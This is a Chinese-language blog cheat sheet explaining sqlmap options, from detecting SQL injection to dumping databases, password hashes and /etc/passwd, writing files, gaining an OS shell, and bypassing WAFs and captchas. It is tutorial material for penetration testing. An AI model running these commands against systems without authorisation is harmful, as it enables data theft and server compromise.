SQLmap基本使用

SQLmap基本使用

基本必要参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
更新 SQLmap
--update
只需确认是否可注入,并只显示 payload 技术与后端技术
sqlmap -u "URL"
获取数据库
sqlmap -u "URL" --dbs
获取数据库所有数据表
sqlmap -u "URL" -D database --tables
获取指定数据表的字段
sqlmap -u "URL" -D database -T table --columns
获取指定数据表的指定字段数据
sqlmap -u "URL" -D database -T table -C field1,field2 --dump
获取指定数据表的所有字段数据(去掉 - C 参数即可)
sqlmap -u "URL" -D database -T table --dump
不指定数据表,直接获取该指定数据库的所有数据
sqlmap -u "URL" -D database --dump-all

常用参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
# 使用随机选择的 HTTP User-Agent 标头值,用于绕过 WAF
--random-agent

# POST 数据
# 也可注入json,看网站怎么发送请求,--data "{'a':1,'b':2}" 或者 --data '{"a":1,"b":2}'
--data "a=1&b=2"

# 使用情景通常发生在,某些登录后的页面才有注入点,不加cookie就访问不到该网站
# 当然也有些网站即使没登录,但是没cookie一样访问不到
--cookie "SESSION_ID=xxx;abc=xxx;"

# 使用情景通常是不加的话,可能会被后端或者防火墙拦截等等
# 如果在header中已经指定User-Agent,就别加--random-agent参数
--header "User-Agent: Mozilla/5.0 (Windows NT ..."

# 指定注入参数
-p par1,par2

# 跳过注入参数
--skip par1,par2

# 指定注入技术,不使用此参数,默认就是全测,有 BEUSTQ
# B = boolean-based
# E = error-based
# U = union-based
# S = stacked-queries
# T = time-based
# Q = inline-queries
--technique BEQU

# 指定 union selectcolumn 列数
# 可以手动 fuzzing 出来指定
--union-cols 5

# 指定使用union技术时,每个字段的值是多少
# 例如,假设已知cols为5,且union select 1,2,3,4,525可回显数据
# 如果我想指定注入2的位置,可以这样设置
# --union-values "1,*,3,4,5"
--union-values "1,*,3,4,5"

# 指定payload前缀
--prefix "'"

# 指定payload后缀
--suffix "-- a"

# 显示注入过程详细信息,数字越大越详细
# (0~6,默认是1,常用是3,手动可注入但SQLmap找不到时,可以设6协助调试)
# 使用情景通常发生在fuzzing时的注入
-v 3

# 指定后端数据库类型
# 中间有空格要使用双引号,如:"Microsoft Access"
--dbms mysql

# 自动模式,自动选取默认选项
--batch

# 跳过防火墙检测测试
--skip-waf

# 设定SQLmap注入检测风险技术,等级1~3,默认1
# ps. 原本仅使用AND,会变成OR也使用
# 在某些注入的情景可能会误操作数据库数据,因此请谨慎使用
--risk N


# 设定SQLmap注入检测层级,默认 1,每个层级的说明如下
# Level 1:在 Level 1 中,SQLmap 会执行基本的测试,包括以下方面:
# 检测基本的 SQL 注入点。
# 基于 UNION 运算符的简单注入测试。
# 基本的布尔型注入测试,如 AND/OR payload 测试。

# Level 2:在 Level 2 中,SQLmap 将进行进一步的测试,包括:
# 检测复杂的 SQL 注入点,如带有过滤机制的情况。
# 测试基于时间延迟的注入,以绕过某些安全检测。
# 测试多个可能的注入点。

# Level 3:在 Level 3 中,SQLmap 将进一步扩展其测试范围,可能会涉及:
# 检测 cookie 或其他 HTTP 请求参数中的注入点。
# 测试更复杂的 SQL 注入漏洞,如深度嵌套的 SQL 查询或存储过程。
# 测试更多不同类型的数据库。

# Level 4:在 Level 4 中,SQLmap 将采用更多的高级技术和深度测试,这可能包括:
# 测试对目标系统的各种服务进行深度扫描,以寻找更多的注入点。
# 测试对目标系统进行较为精细的指纹识别,以定制更有效的注入攻击。

# Level 5:在 Level 5 中,SQLmap 将启用所有可用的测试和技术,这可能包括:
# 对目标系统的所有输入点进行广泛的测试,包括 HTTP 请求中的各种参数和 cookies。
# 使用高度复杂的注入模式,如二次注入、堆叠注入等。
# 对目标系统进行更广泛和深入的分析,以确定可能存在的漏洞点。
--level N


# 让SQLmap自己爬网页上的注入点
--forms

# 有时候因为TLS/SSL问题会导致sqlmap连不上(但是浏览器又可以正常访问),直接使用此命令即可
--force-ssl

成功注入后会使用的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
# 直接执行SQL语法
# 注意,CRUD语法不一定支持,即使有堆叠注入建议还是手动操作
--sql-query "select version()"

# 列出数据库banner、version信息
-b

# 列出所有数据库
--dbs

# 指定数据库名称
-D "DB_Name"

# 列出指定数据库内的所有表(需搭配-D参数)
--tables

# 指定表名称
-T "Table_Name"

# 列出指定表内的所有列(需搭配-T参数)
--columns

# 指定要列出的列数据
-C "account,password"

# 指定不要列出的列数据
-X "id,time"

# 列出指定列的所有数据
# 如果不使用-C参数,则列出指定表的所有字段数据
--dump

# 仅列出符合where条件的数据
# 使用场景通常发生在,你只想查找管理员或某些特定数据,不想全部注入出来
# 如果你只想获取user_id字段符合'admin'字符串的数据
--where "user_id='admin'"

# 列出指定数据库内所有表的数据
# (只需-D "DB_Name"即可,不需要后面的--table等参数)
--dump-all

# 检测数据库是否有DBA权限,例如读文件、写文件
# 但这个结果仅供参考,不一定准确(个人实战经验)
--is-dba

# 获取SQL注入账号的密码哈希
--passwords

# 检测当前使用的数据库
--current-db

# 检测当前使用数据库的用户名
--current-user

# 枚举当前注入点权限所能访问到的所有数据库用户
--users

# 尝试读取指定路径下的文件
--file-read "/etc/passwd"

# 指定尝试写入对方服务器的文件(需搭配--file-dest参数)
# 如果你直接把文件放在SQLmap目录,参数不一定要绝对路径,相对路径也可以
--file-write "/your/file/path"

# 指定服务器后端的绝对路径(需搭配--file-write参数)
--file-dest "/server/root/path"

# 进入模拟SQL指令互动环境
--sql-shell

# 尝试获取远程命令执行(RCE)
--os-shell

# 指定后端写文件路径,使用--os-shell时可用
--web-root "/var/www/html/upload"

# 指定后端系统类型,使用场景通常发生在SQLmap误判后端操作系统
# 例如要操作读写文件时,后端是windows,结果写成linux路径导致失败
# 可选值有:windows、macos、linux、unix
--os windows

例外情况

当手动测试确定存在注入但SQLmap检测不到时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 仅根据渲染完毕的静态html页面做比较
--text-only

# 检测页面某个字符串作为布尔注入前后比较值
--string "STR"

# 让SQLmap不对payload做URL encode编码
--skip-urlencode

# 让SQLmap不将字符串做转义
# 例如'abc'不转义成0x616263CHAR(97)+CHAR(98)+CHAR(99)
--no-escape

# 设置网页反应的延迟时间,默认是5(这里指的是time-based注入技术时的反应检测时间)
--time-sec 10

# 设置网页反应的延迟时间,默认是30(这里指的是等待网页response的时间)
--timeout 60

# 设置连接超时的重试次数,默认是3
--retries 5

# 可能后端程序有错误导致500 http code,且sqlmap因该错误无法进行注入
# 但是手动检测发现会有time-based反应之类的,让sqlmap忽略500 http code直接注入
--ignore-code 500

# 有时候即使你想开启batch,但是SQLmap会自动选择默认选项(但可能该选项不是你想要的)
# 那就可以使用此参数预先设置你要的结果,例如,注入过程中SQLmap询问:
# redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
# 如果你想选n,而不是默认的Y,则可以这样:
# --answer "redirect is a result of a POST request. Do you want to resend original POST data to a new location=n"
# 但这样太长,其实也可以用部分内容,如下(主要是内容只要在一定范围内,SQLmap能识别是哪个问题的选择即可)
--answer "redirect is a result=n"

资料无法获取问题

SQLmap明明已经注入出payload技术,但获取数据时却失败(或没有任何数据),有时候不一定是WAF的拦截,大概率是后端数据解析异常所导致(也有可能是误报,建议加上–flush-session重试),因此可尝试加上以下参数(实战中很常用到)

1
2
3
4
5
6
7
8
# 将输出数据转换为16进制数据后提取
--hex

# 不要对注入的数据进行编码或者自动转换类型
# 例如注入的字符是 var=test[0]'-- a
# 让SQLmap不要转换成 var=test%5B0%5D'-- a
# 或者让SQLmap不要对数据进行自动转型,比如把某个字符串转换成 VARCHAR 类型
--no-cast

资料乱码问题

当注入出来的结果为乱码时,有可能字段是blob等因素,可以转成二进制输出

1
2
3
4
5
6
# 忽略存储在会话文件中的查询结果
--fresh-queries

# 具有二进制值的结果字段(例如"摘要")
--binary-fields column_name

加速注入

当你非常清楚漏洞情况并且想跳过一些测试负载,你可以使用如下参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 指定SQLmap只测试哪种模板的有效负载
# 例如 --test-filter "Microsoft SQL Server/Sybase stacked queries (DECLARE)"
# 就只会测试DECLARE的堆叠注入
--test-filter "payload template name"

# 指定SQLmap跳过测试哪种模板的有效负载
# 例如 --test-filter "Microsoft SQL Server/Sybase stacked queries (DECLARE)"
# 就会跳过测试DECLARE的堆叠注入模板
--test-skip "payload template name"

python sqlmap.py ... --test-skip='(MySQL > 5)|(MySQL >= 5)'

或者

python sqlmap.py ... --test-skip='MySQL >=? 5'

二次注入

1
2
3
4
5
6
# 当某个注入点会先存储payload,在访问其他页面才会触发执行SQL语句时可用
--second-url "http://target.com/sqli.php"

# 如果不是单纯用GET访问可触发,可能需要POST之类的复杂请求
# 就可以改用文件的方式直接给header让sqlmap解析,就像 -r 参数那样
--second-req xxx.req

常用绕过waf脚本

当防火墙阻挡规则有迹可循且不复杂,也可以自己编写绕过脚本

1
2
3
4
5
--tamper space2comment,space2hash,space2mssqlhash

# 当规则可能很简单,你不想写tamper,也可以改用--eval参数(但只能测试一种参数)
# 如果目标为 xxx.php?id=1,且你只想将AND换成&&,则可以
--eval "id=id.replace(' AND ',' && ')"

captcha

当注入点需要先通过captcha图形验证码时,可以使用此参数来串联图形识别模块以绕过此限制

1
--preprocess "/path/to/captcha_bypass.py"

SQLmap基本使用
https://netguy6.github.io/2026/02/05/sqlmap/
作者
net06
发布于
2026年2月5日
许可协议